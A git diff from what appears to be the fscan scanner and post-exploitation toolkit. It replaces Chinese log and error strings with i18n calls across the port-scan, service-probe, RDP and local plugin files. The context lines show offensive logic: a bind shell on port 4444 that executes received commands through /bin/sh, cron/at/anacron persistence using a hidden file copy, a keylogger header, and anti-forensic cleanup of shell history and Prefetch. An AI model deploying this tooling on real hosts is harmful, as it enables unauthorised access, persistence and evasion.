b/core/icmp.go index 2ac1966..fa185fc 100644 --- a/core/icmp.go +++ b/core/icmp.go @@ -286,13 +286,13 @@ func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.M // 条件1:所有主机都已响应,立即结束 if aliveCount >= totalHosts { - common.LogDebug(fmt.Sprintf("[ICMP] 全部响应,耗时 %v", elapsed.Round(time.Millisecond))) + common.LogDebug(i18n.Tr("icmp_debug_all_responded", elapsed.Round(time.Millisecond))) break } // 条件2:超过最大等待时间,兜底结束 if elapsed >= maxWait { - common.LogDebug(fmt.Sprintf("[ICMP] 达到最大等待时间 %v,存活 %d/%d", maxWait, aliveCount, totalHosts)) + common.LogDebug(i18n.Tr("icmp_debug_max_wait", maxWait, aliveCount, totalHosts)) break } @@ -305,8 +305,7 @@ func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.M lastAliveCount = aliveCount } else if time.Since(lastChangeTime) >= icmpStableThreshold { // 连续 500ms 没有新响应,认为响应已稳定,提前结束 - common.LogDebug(fmt.Sprintf("[ICMP] 响应稳定,提前结束,耗时 %v,存活 %d/%d", - elapsed.Round(time.Millisecond), aliveCount, totalHosts)) + common.LogDebug(i18n.Tr("icmp_debug_stable_done", elapsed.Round(time.Millisecond), aliveCount, totalHosts)) break } } else { diff --git a/core/local_scanner.go b/core/local_scanner.go index a33ee20..45a6225 100644 --- a/core/local_scanner.go +++ b/core/local_scanner.go @@ -17,7 +17,7 @@ type LocalScanStrategy struct { // NewLocalScanStrategy 创建新的本地扫描策略 func NewLocalScanStrategy() *LocalScanStrategy { return &LocalScanStrategy{ - BaseScanStrategy: NewBaseScanStrategy("本地扫描", FilterLocal), + BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_local_name"), FilterLocal), } } diff --git a/core/port_scan.go b/core/port_scan.go index 169c79c..f1dc14c 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -35,7 +35,8 @@ var resourceExhaustedPatterns = []string{ "no buffer space available", "cannot assign requested address", "connection reset by peer", - "发包受限", + i18n.GetText("network_rate_limited_pattern"), + "rate limited", } // closedPatterns 连接已关闭的错误模式 @@ -143,7 +144,7 @@ func (f *failedPortCollector) Count() int { func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout int64, session *common.ScanSession, stream chan<- string) []string { config := session.Config state := session.State - session.LogDebug(fmt.Sprintf("[PortScan] 开始: %d个主机, 线程数=%d", len(hosts), config.ThreadNum)) + session.LogDebug(i18n.Tr("port_scan_debug_start", len(hosts), config.ThreadNum)) // 大规模扫描预筛:跨多个 /24 时先做网段探活,跳过空网段 if len(hosts) > subnetProbeThreshold { @@ -166,7 +167,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout } return nil } - session.LogDebug(fmt.Sprintf("[PortScan] 端口解析完成: %d个端口", len(portList))) + session.LogDebug(i18n.Tr("port_scan_debug_ports_parsed", len(portList))) // 使用config中的排除端口配置 excludePorts := parsers.ParsePort(config.Target.ExcludePorts) @@ -177,34 +178,34 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout // 检查代理可靠性,如果存在全回显问题则警告 if session.ProxyEnabled() && !session.ProxyReliable() { - session.LogError("检测到代理存在全回显问题,端口扫描结果可能不准确") + session.LogError(i18n.GetText("proxy_echo_warning")) } // 创建流式迭代器(O(1) 内存,端口喷洒策略) iter := NewSocketIterator(hosts, portList, exclude) totalTasks := iter.Total() - session.LogDebug(fmt.Sprintf("[PortScan] 总任务数: %d", totalTasks)) + session.LogDebug(i18n.Tr("port_scan_debug_total_tasks", totalTasks)) // 使用传入的配置 threadNum := config.ThreadNum // 大规模扫描警告和线程数自动调整 if totalTasks > 100000 { - session.LogInfo(fmt.Sprintf("大规模扫描: %d 个目标 (%d主机 × %d端口)", totalTasks, len(hosts), len(portList))) + session.LogInfo(i18n.Tr("large_scan_notice", totalTasks, len(hosts), len(portList))) // 如果任务数超过100万且线程数大于300,自动降低线程数 if totalTasks > 1000000 && threadNum > 300 { oldThreadNum := threadNum threadNum = 300 - session.LogInfo(fmt.Sprintf("自动调整线程数: %d -> %d (大规模扫描优化)", oldThreadNum, threadNum)) + session.LogInfo(i18n.Tr("large_scan_thread_adjusted", oldThreadNum, threadNum)) } } // 初始化端口扫描进度条 if totalTasks > 0 && config.Output.ShowProgress { - description := fmt.Sprintf("端口扫描中(%d线程)", threadNum) + description := i18n.Tr("port_scan_progress_description", threadNum) common.InitProgressBar(int64(totalTasks), description) } - session.LogDebug("[PortScan] 进度条初始化完成") + session.LogDebug(i18n.GetText("port_scan_debug_progress_ready")) // 初始化并发控制 to := time.Duration(timeout) * time.Second @@ -214,7 +215,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout failedCollector := &failedPortCollector{} var wg sync.WaitGroup - session.LogDebug(fmt.Sprintf("[PortScan] 开始创建线程池, size=%d", threadNum)) + session.LogDebug(i18n.Tr("port_scan_debug_pool_create", threadNum)) // 创建自适应线程池(支持动态调整) pool, err := NewAdaptivePool(threadNum, func(task interface{}) { taskInfo, ok := task.(portScanTask) @@ -236,13 +237,13 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout } return nil } - session.LogDebug("[PortScan] 线程池创建成功") + session.LogDebug(i18n.GetText("port_scan_debug_pool_created")) defer pool.Release() - session.LogDebug("[PortScan] 开始滑动窗口调度") + session.LogDebug(i18n.GetText("port_scan_debug_schedule_start")) // 滑动窗口调度:维护固定数量的"飞行中"任务 slidingWindowSchedule(iter, pool, &wg, threadNum) - session.LogDebug("[PortScan] 滑动窗口调度完成") + session.LogDebug(i18n.GetText("port_scan_debug_schedule_done")) // 收集结果 aliveAddrs := collector.GetAll() @@ -467,7 +468,7 @@ func scanSinglePort(ctx context.Context, host string, port int, addr string, ada // 步骤1.5:代理连接深度验证(防止透明代理/全回显代理的假连接问题) valid, verifyMethod := verifyProxyConnectionDeep(conn, addr, session) if !valid { - session.LogDebug(fmt.Sprintf("代理验证失败 %s: %s", addr, verifyMethod)) + session.LogDebug(i18n.Tr("proxy_verify_failed", addr, verifyMethod)) _ = conn.Close() return } @@ -541,7 +542,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanS if n > 0 { if isProxyErrorResponse(buf[:n]) { - common.LogDebug(fmt.Sprintf("代理返回错误响应 %s", addr)) + common.LogDebug(i18n.Tr("proxy_error_response", addr)) return false, "proxy_error" } return true, "banner" @@ -558,7 +559,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanS _ = conn.SetWriteDeadline(time.Time{}) if writeErr != nil && isConnectionClosed(writeErr) { - common.LogDebug(fmt.Sprintf("探测写入失败 %s: %v", addr, writeErr)) + common.LogDebug(i18n.Tr("proxy_probe_write_failed", addr, writeErr)) return false, "write_failed" } @@ -570,7 +571,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanS if n > 0 { if isProxyErrorResponse(buf[:n]) { - common.LogDebug(fmt.Sprintf("代理探测返回错误 %s", addr)) + common.LogDebug(i18n.Tr("proxy_probe_error_response", addr)) return false, "proxy_error" } return true, "probe" @@ -581,7 +582,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanS errStr := readErr.Error() for _, pattern := range proxyFailurePatterns { if containsFold(errStr, pattern) { - common.LogDebug(fmt.Sprintf("代理连接被拒绝 %s: %v", addr, readErr)) + common.LogDebug(i18n.Tr("proxy_connection_rejected", addr, readErr)) return false, "proxy_reject" } } @@ -591,7 +592,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanS // 在透明代理环境下,ProxyReliable 检测可能被污染,不可信 // 因此采用更保守的策略:无响应一律判定为关闭 // 这样可以避免透明代理导致的全端口误报问题 - common.LogDebug(fmt.Sprintf("代理连接无响应,判定为端口关闭 %s", addr)) + common.LogDebug(i18n.Tr("proxy_no_response_closed", addr)) return false, "no_response" } @@ -790,7 +791,7 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se return hosts } - session.LogInfo(fmt.Sprintf("网段预筛: %d 个 /24 子网, %d 个主机", len(subnets), len(hosts))) + session.LogInfo(i18n.Tr("subnet_prefilter_start", len(subnets), len(hosts))) aliveSubnets := sync.Map{} var wg sync.WaitGroup @@ -872,8 +873,7 @@ done: } skipped := len(subnets) - aliveCount - session.LogInfo(fmt.Sprintf("网段预筛完成: %d 个存活 (网关命中 %d), %d 个跳过, 剩余 %d 主机", - aliveCount, gwHits, skipped, len(result))) + session.LogInfo(i18n.Tr("subnet_prefilter_done", aliveCount, gwHits, skipped, len(result))) return result } diff --git a/core/portfinger/match_engine.go b/core/portfinger/match_engine.go index 9b15398..dd6b6b4 100644 --- a/core/portfinger/match_engine.go +++ b/core/portfinger/match_engine.go @@ -4,6 +4,8 @@ import ( "fmt" "regexp" "strings" + + "github.com/shadow1ng/fscan/common/i18n" ) // BytesToRegexSafeString 将字节切片转换为 Go regexp 安全的正则表达式模式字符串 @@ -43,7 +45,7 @@ func (p *Probe) parseMatchDirective(data, prefix string, isSoft bool) (Match, er // 分割文本获取pattern和版本信息 textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter) if len(textSplited) == 0 { - return match, fmt.Errorf("无效的%s指令格式", prefix) + return match, fmt.Errorf("%s", i18n.Tr("portfinger_match_directive_invalid", prefix)) } pattern := textSplited[0] diff --git a/core/portfinger/probe_parser.go b/core/portfinger/probe_parser.go index 584cd04..fb9bcc4 100644 --- a/core/portfinger/probe_parser.go +++ b/core/portfinger/probe_parser.go @@ -4,6 +4,8 @@ import ( "fmt" "strconv" "strings" + + "github.com/shadow1ng/fscan/common/i18n" ) // 解析指令语法,返回指令结构 @@ -37,12 +39,12 @@ func (p *Probe) parseProbeInfo(probeStr string) error { // 验证协议类型 if proto != "TCP " && proto != "UDP " { - return fmt.Errorf("探测器协议必须是 TCP 或 UDP") + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_protocol_invalid")) } // 验证其他信息不为空 if len(other) == 0 { - return fmt.Errorf("nmap-service-probes - 探测器名称无效") + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_name_invalid")) } // 解析指令 @@ -64,7 +66,7 @@ func (p *Probe) fromString(data string) error { data = strings.TrimSpace(data) lines := strings.Split(data, "\n") if len(lines) == 0 { - return fmt.Errorf("输入数据为空") + return fmt.Errorf("%s", i18n.GetText("portfinger_input_empty")) } probeStr := lines[0] @@ -172,7 +174,7 @@ func (v *VScan) parseProbesFromContent(content string) error { // 验证文件内容 if len(lines) == 0 { - return fmt.Errorf("读取nmap-service-probes文件失败: 内容为空") + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_file_empty")) } // 检查Exclude指令 @@ -182,14 +184,14 @@ func (v *VScan) parseProbesFromContent(content string) error { excludeCount++ } if excludeCount > 1 { - return fmt.Errorf("nmap-service-probes文件中只允许有一个Exclude指令") + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_exclude_duplicate")) } } // 验证第一行格式 firstLine := lines[0] if !strings.HasPrefix(firstLine, "Exclude ") && !strings.HasPrefix(firstLine, "Probe ") { - return fmt.Errorf("解析错误: 首行必须以\"Probe \"或\"Exclude \"开头") + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_first_line_invalid")) } // 处理Exclude指令 diff --git a/core/service_probe.go b/core/service_probe.go index faae757..9bb3ee9 100644 --- a/core/service_probe.go +++ b/core/service_probe.go @@ -11,6 +11,7 @@ import ( "time" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/core/portfinger" ) @@ -171,7 +172,6 @@ func (s *SmartPortInfoScanner) tryInitialBanner() ([]byte, error) { return response, nil } - // smartProbeStrategy 智能探测策略 // 改进版:使用 nmap-service-probes.txt 中的 ports 字段和 rarity 排序 func (s *SmartPortInfoScanner) smartProbeStrategy() { @@ -392,7 +392,7 @@ func (i *Info) tryProbes(response []byte, probes []*Probe) bool { func (i *Info) GetInfo(response []byte, probe *Probe) { // 响应数据有效性检查 if len(response) <= 0 { - common.LogDebug("响应数据为空") + common.LogDebug(i18n.GetText("service_probe_empty_response")) return } @@ -460,12 +460,12 @@ func (i *Info) handleHardMatch(response []byte, match *Match) { // 特殊处理 microsoft-ds 服务 if result.Service.Name == "microsoft-ds" { - common.LogDebug("特殊处理 microsoft-ds 服务") + common.LogDebug(i18n.GetText("service_probe_microsoft_ds")) result.Service.Extras["hostname"] = result.Banner } i.Found = true - common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner)) + common.LogDebug(i18n.Tr("service_probe_identified", result.Service.Name, result.Banner)) } // handleNoMatch 处理未找到匹配的情况 @@ -477,10 +477,10 @@ func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, so bannerLower := strings.ToLower(result.Banner) if strings.Contains(bannerLower, "http/") || strings.Contains(bannerLower, "html") { - common.LogDebug("识别为HTTP服务") + common.LogDebug(i18n.GetText("service_probe_http_identified")) result.Service.Name = "http" } else { - common.LogDebug("未知服务") + common.LogDebug(i18n.GetText("service_probe_unknown")) result.Service.Name = "unknown" } } else { @@ -488,7 +488,7 @@ func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, so result.Service.Extras = extras.ToMap() result.Service.Name = softMatch.Service i.Found = true - common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name)) + common.LogDebug(i18n.Tr("service_probe_soft_match", result.Service.Name)) } } diff --git a/core/service_scanner.go b/core/service_scanner.go index b3470e0..14927ed 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -21,7 +21,7 @@ type ServiceScanStrategy struct { // NewServiceScanStrategy 创建新的服务扫描策略 func NewServiceScanStrategy() *ServiceScanStrategy { return &ServiceScanStrategy{ - BaseScanStrategy: NewBaseScanStrategy("服务扫描", FilterService), + BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_service_name"), FilterService), } } diff --git a/core/web_scanner.go b/core/web_scanner.go index c34db2c..613fe7b 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -303,7 +303,7 @@ type WebScanStrategy struct { // NewWebScanStrategy 创建新的Web扫描策略 func NewWebScanStrategy() *WebScanStrategy { return &WebScanStrategy{ - BaseScanStrategy: NewBaseScanStrategy("Web扫描", FilterWeb), + BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_web_name"), FilterWeb), } } diff --git a/mylib/grdp/emission/emitter.go b/mylib/grdp/emission/emitter.go index e1861bc..f7dcae5 100644 --- a/mylib/grdp/emission/emitter.go +++ b/mylib/grdp/emission/emitter.go @@ -231,7 +231,7 @@ func (emitter *Emitter) callListeners(listeners []reflect.Value, event interface argValue = argValue.Convert(expectedType) } else { // 打印错误信息,类型不匹配 - fmt.Printf("无法将参数 %v(类型 %v)转换为所需类型 %v\n", arguments[i], argValue.Type(), expectedType) + fmt.Printf("failed to convert argument %v (type %v) to required type %v\n", arguments[i], argValue.Type(), expectedType) continue } diff --git a/mylib/grdp/login/screen.go b/mylib/grdp/login/screen.go index 8babaec..27f86b9 100644 --- a/mylib/grdp/login/screen.go +++ b/mylib/grdp/login/screen.go @@ -251,7 +251,7 @@ func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpP g.pdu.On("bitmap", func(rectangles []pdu.BitmapData) { }) g.pdu.On("done", func() { - glog.Debug("done信号触发") + glog.Debug("done signal triggered") exitFlag <- true }) @@ -266,10 +266,10 @@ loop: case <-exitFlag: break loop case <-ctx.Done(): - glog.Debug("总超时已达到,退出") + glog.Debug("total timeout reached, exiting") break loop } } - glog.Debug("循环结束,总时间过去了:", time.Since(start)) + glog.Debug("loop ended, elapsed time: ", time.Since(start)) return info } diff --git a/mylib/grdp/protocol/pdu/data.go b/mylib/grdp/protocol/pdu/data.go index f0ca6d6..d030db9 100644 --- a/mylib/grdp/protocol/pdu/data.go +++ b/mylib/grdp/protocol/pdu/data.go @@ -473,7 +473,7 @@ func readDataPDU(r io.Reader) (*DataPDU, error) { d = &FontMapDataPDU{} case PDUTYPE2_SAVE_SESSION_INFO: - glog.Debug("SAVE_SESSION_INFO 事件触发,登录成功") + glog.Debug("SAVE_SESSION_INFO event triggered, login successful") d = &SaveSessionInfo{} default: diff --git a/plugins/local/cleaner.go b/plugins/local/cleaner.go index 1b7dea1..17768c1 100644 --- a/plugins/local/cleaner.go +++ b/plugins/local/cleaner.go @@ -58,7 +58,7 @@ func (p *CleanerPlugin) cleanFiles(output *strings.Builder, dir string, names [] for _, name := range names { path := filepath.Join(dir, name) if err := os.Remove(path); err == nil { - fmt.Fprintf(output, "[清理] %s\n", path) + fmt.Fprintln(output, i18n.Tr("cleaner_removed", path)) cleaned++ } } @@ -70,7 +70,7 @@ func (p *CleanerPlugin) cleanGlob(output *strings.Builder, dir, pattern string) cleaned := 0 for _, f := range matches { if err := os.Remove(f); err == nil { - fmt.Fprintf(output, "[清理] %s\n", f) + fmt.Fprintln(output, i18n.Tr("cleaner_removed", f)) cleaned++ } } @@ -87,7 +87,7 @@ func (p *CleanerPlugin) cleanUnix(output *strings.Builder) int { } for _, hf := range histFiles { if p.scrubHistory(hf) { - fmt.Fprintf(output, "[清理] %s 中的 fscan 记录\n", hf) + fmt.Fprintln(output, i18n.Tr("cleaner_history_removed", hf)) cleaned++ } } diff --git a/plugins/local/cleaner_windows.go b/plugins/local/cleaner_windows.go index 989adf7..9317059 100644 --- a/plugins/local/cleaner_windows.go +++ b/plugins/local/cleaner_windows.go @@ -8,6 +8,8 @@ import ( "os/exec" "path/filepath" "strings" + + "github.com/shadow1ng/fscan/common/i18n" ) func cleanPersistence(output *strings.Builder) int { @@ -52,7 +54,7 @@ func fixWinlogon(output *strings.Builder) int { val := extractRegValue(string(out)) if val != "explorer.exe" && val != "" { exec.Command("reg", "add", key, "/v", "Shell", "/t", "REG_SZ", "/d", "explorer.exe", "/f").Run() - output.WriteString(fmt.Sprintf("[恢复] Winlogon Shell: %s → explorer.exe\n", val)) + output.WriteString(i18n.Tr("cleaner_restore_winlogon_shell", val, "explorer.exe") + "\n") cleaned++ } } @@ -63,7 +65,7 @@ func fixWinlogon(output *strings.Builder) int { defaultVal := `C:\Windows\system32\userinit.exe,` if val != defaultVal && val != strings.TrimSuffix(defaultVal, ",") && val != "" { exec.Command("reg", "add", key, "/v", "Userinit", "/t", "REG_SZ", "/d", defaultVal, "/f").Run() - output.WriteString(fmt.Sprintf("[恢复] Winlogon Userinit: %s → %s\n", val, defaultVal)) + output.WriteString(i18n.Tr("cleaner_restore_winlogon_userinit", val, defaultVal) + "\n") cleaned++ } } @@ -77,7 +79,7 @@ func cleanIFEO(output *strings.Builder) int { key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t) if out, err := exec.Command("reg", "query", key, "/v", "Debugger").CombinedOutput(); err == nil && strings.Contains(string(out), "Debugger") { exec.Command("reg", "delete", key, "/f").Run() - output.WriteString(fmt.Sprintf("[清理] IFEO: %s\n", t)) + output.WriteString(i18n.Tr("cleaner_ifeo_removed", t) + "\n") cleaned++ } } @@ -104,7 +106,7 @@ func cleanRegistryRun(output *strings.Builder) int { fields := strings.Fields(strings.TrimSpace(line)) if len(fields) > 0 { exec.Command("reg", "delete", key, "/v", fields[0], "/f").Run() - output.WriteString(fmt.Sprintf("[清理] 注册表: %s\\%s\n", key, fields[0])) + output.WriteString(i18n.Tr("cleaner_registry_removed", key, fields[0]) + "\n") cleaned++ } break @@ -129,7 +131,7 @@ func cleanScheduledTasks(output *strings.Builder) int { if len(parts) > 0 { name := strings.Trim(parts[0], "\"\\") exec.Command("schtasks", "/delete", "/tn", name, "/f").Run() - output.WriteString(fmt.Sprintf("[清理] 计划任务: %s\n", name)) + output.WriteString(i18n.Tr("cleaner_schtask_removed", name) + "\n") cleaned++ } break @@ -152,7 +154,7 @@ func cleanServices(output *strings.Builder) int { name := strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "SERVICE_NAME:")) exec.Command("sc", "stop", name).Run() exec.Command("sc", "delete", name).Run() - output.WriteString(fmt.Sprintf("[清理] 服务: %s\n", name)) + output.WriteString(i18n.Tr("cleaner_service_removed", name) + "\n") cleaned++ } } @@ -170,7 +172,7 @@ func cleanStartupFolders(output *strings.Builder) int { matches, _ := filepath.Glob(filepath.Join(dir, "test_payload*")) for _, f := range matches { if os.Remove(f) == nil { - output.WriteString(fmt.Sprintf("[清理] 启动文件夹: %s\n", f)) + output.WriteString(i18n.Tr("cleaner_startup_removed", f) + "\n") cleaned++ } } @@ -191,7 +193,7 @@ func cleanBITS(output *strings.Builder) int { if end := strings.Index(line[idx:], "}"); end != -1 { guid := line[idx : idx+end+1] exec.Command("bitsadmin", "/cancel", guid).Run() - output.WriteString(fmt.Sprintf("[清理] BITS: %s\n", guid)) + output.WriteString(i18n.Tr("cleaner_bits_removed", guid) + "\n") cleaned++ } } @@ -210,7 +212,7 @@ Write-Output 'WMI_CLEANED' ` out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput() if err == nil && strings.Contains(string(out), "WMI_CLEANED") { - output.WriteString("[清理] WMI 事件订阅\n") + output.WriteString(i18n.GetText("cleaner_wmi_removed") + "\n") cleaned++ } return cleaned @@ -221,7 +223,7 @@ func cleanPrefetch(output *strings.Builder) int { matches, _ := filepath.Glob(`C:\Windows\Prefetch\FSCAN*.pf`) for _, f := range matches { if os.Remove(f) == nil { - output.WriteString(fmt.Sprintf("[清理] Prefetch: %s\n", f)) + output.WriteString(i18n.Tr("cleaner_prefetch_removed", f) + "\n") cleaned++ } } diff --git a/plugins/local/crontask.go b/plugins/local/crontask.go index e928a10..c22fba3 100644 --- a/plugins/local/crontask.go +++ b/plugins/local/crontask.go @@ -42,8 +42,8 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio if runtime.GOOS != "linux" { return &plugins.Result{ Success: false, - Output: "计划任务持久化只支持Linux平台", - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + Output: i18n.GetText("crontask_linux_only"), + Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), } } @@ -52,8 +52,8 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio if p.targetFile == "" { return &plugins.Result{ Success: false, - Output: "必须通过 -persistence-file 参数指定目标文件路径", - Error: fmt.Errorf("未指定目标文件"), + Output: i18n.GetText("persistence_file_required"), + Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), } } @@ -61,7 +61,7 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { return &plugins.Result{ Success: false, - Output: fmt.Sprintf("目标文件不存在: %s", p.targetFile), + Output: i18n.Tr("target_file_not_exist", p.targetFile), Error: err, } } @@ -70,63 +70,63 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio if _, err := exec.LookPath("crontab"); err != nil { return &plugins.Result{ Success: false, - Output: "crontab命令不可用", + Output: i18n.GetText("crontab_unavailable"), Error: err, } } - output.WriteString("=== 计划任务持久化 ===\n") - fmt.Fprintf(&output, "目标文件: %s\n\n", p.targetFile) + output.WriteString(i18n.GetText("crontask_header") + "\n") + output.WriteString(i18n.Tr("local_target_file", p.targetFile) + "\n\n") var successCount int // 1. 复制文件到持久化目录 persistPath, err := p.copyToPersistPath() if err != nil { - fmt.Fprintf(&output, "✗ 复制文件失败: %v\n", err) + output.WriteString(i18n.Tr("copy_file_failed", err) + "\n") } else { - fmt.Fprintf(&output, "✓ 文件已复制到: %s\n", persistPath) + output.WriteString(i18n.Tr("file_copied_to", persistPath) + "\n") successCount++ } // 2. 添加用户crontab任务 err = p.addUserCronJob(persistPath) if err != nil { - fmt.Fprintf(&output, "✗ 添加用户cron任务失败: %v\n", err) + output.WriteString(i18n.Tr("crontask_user_add_failed", err) + "\n") } else { - output.WriteString("✓ 已添加用户crontab任务\n") + output.WriteString(i18n.GetText("crontask_user_added") + "\n") successCount++ } // 3. 添加系统cron任务 systemCronFiles, err := p.addSystemCronJobs(persistPath) if err != nil { - fmt.Fprintf(&output, "✗ 添加系统cron任务失败: %v\n", err) + output.WriteString(i18n.Tr("crontask_system_add_failed", err) + "\n") } else { - fmt.Fprintf(&output, "✓ 已添加系统cron任务: %s\n", strings.Join(systemCronFiles, ", ")) + output.WriteString(i18n.Tr("crontask_system_added", strings.Join(systemCronFiles, ", ")) + "\n") successCount++ } // 4. 创建at任务 err = p.addAtJob(persistPath) if err != nil { - fmt.Fprintf(&output, "✗ 添加at任务失败: %v\n", err) + output.WriteString(i18n.Tr("crontask_at_add_failed", err) + "\n") } else { - output.WriteString("✓ 已添加at延时任务\n") + output.WriteString(i18n.GetText("crontask_at_added") + "\n") successCount++ } // 5. 创建anacron任务 err = p.addAnacronJob(persistPath) if err != nil { - fmt.Fprintf(&output, "✗ 添加anacron任务失败: %v\n", err) + output.WriteString(i18n.Tr("crontask_anacron_add_failed", err) + "\n") } else { - output.WriteString("✓ 已添加anacron任务\n") + output.WriteString(i18n.GetText("crontask_anacron_added") + "\n") successCount++ } // 输出统计 - fmt.Fprintf(&output, "\n持久化完成: 成功(%d) 总计(%d)\n", successCount, 5) + output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n") if successCount > 0 { common.LogSuccess(i18n.Tr("crontask_success", successCount)) @@ -166,7 +166,7 @@ func (p *CronTaskPlugin) copyToPersistPath() (string, error) { } if targetDir == "" { - return "", fmt.Errorf("无法创建持久化目录") + return "", fmt.Errorf("%s", i18n.GetText("persistence_dir_create_failed")) } // 生成隐藏文件名 @@ -258,7 +258,7 @@ func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) { } if len(modified) == 0 { - return nil, fmt.Errorf("无法创建任何系统cron任务") + return nil, fmt.Errorf("%s", i18n.GetText("crontask_system_create_none")) } return modified, nil diff --git a/plugins/local/forwardshell.go b/plugins/local/forwardshell.go index 9c1c05f..83a393b 100644 --- a/plugins/local/forwardshell.go +++ b/plugins/local/forwardshell.go @@ -48,14 +48,14 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se port = 4444 } - output.WriteString("=== 正向Shell服务器 ===\n") - fmt.Fprintf(&output, "监听端口: %d\n", port) - fmt.Fprintf(&output, "平台: %s\n\n", runtime.GOOS) + output.WriteString(i18n.GetText("forwardshell_header") + "\n") + output.WriteString(i18n.Tr("local_listen_port", port) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") // 启动正向Shell服务器 err := p.startForwardShellServer(ctx, port, state) if err != nil { - fmt.Fprintf(&output, "正向Shell服务器错误: %v\n", err) + output.WriteString(i18n.Tr("forwardshell_server_error", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -63,7 +63,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se } } - output.WriteString("✓ 正向Shell服务已完成\n") + output.WriteString(i18n.GetText("forwardshell_done") + "\n") common.LogSuccess(i18n.Tr("forwardshell_complete", port)) return &plugins.Result{ @@ -79,7 +79,7 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i // 监听指定端口 listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) if err != nil { - return fmt.Errorf("监听端口失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err) } defer func() { _ = listener.Close() }() @@ -169,7 +169,7 @@ func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) { case "linux", "darwin": cmd = exec.Command("/bin/sh", "-c", command) default: - _, _ = fmt.Fprintf(conn, "不支持的平台: %s\n", runtime.GOOS) + _, _ = fmt.Fprintln(conn, i18n.Tr("unsupported_platform", runtime.GOOS)) return } @@ -182,18 +182,18 @@ func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) { output, err := cmd.CombinedOutput() if ctx.Err() == context.DeadlineExceeded { - _, _ = conn.Write([]byte("命令执行超时\n")) + _, _ = conn.Write([]byte(i18n.GetText("command_timeout") + "\n")) return } if err != nil { - _, _ = fmt.Fprintf(conn, "命令执行失败: %v\n", err) + _, _ = fmt.Fprintln(conn, i18n.Tr("command_exec_failed", err)) return } // 发送命令输出 if len(output) == 0 { - _, _ = conn.Write([]byte("(命令执行成功,无输出)\n")) + _, _ = conn.Write([]byte(i18n.GetText("command_success_no_output") + "\n")) } else { _, _ = conn.Write(output) if !strings.HasSuffix(string(output), "\n") { diff --git a/plugins/local/keylogger.go b/plugins/local/keylogger.go index 0354cdd..927c90d 100644 --- a/plugins/local/keylogger.go +++ b/plugins/local/keylogger.go @@ -46,13 +46,13 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi outputFile = "keylog.txt" } - output.WriteString("=== 键盘记录 ===\n") - output.WriteString(fmt.Sprintf("输出文件: %s\n", outputFile)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("keylogger_header") + "\n") + output.WriteString(i18n.Tr("local_output_file", outputFile) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") // 检查输出文件权限 if err := p.checkOutputFilePermissions(outputFile); err != nil { - output.WriteString(fmt.Sprintf("输出文件权限检查失败: %v\n", err)) + output.WriteString(i18n.Tr("keylogger_output_permission_failed", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -62,7 +62,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, 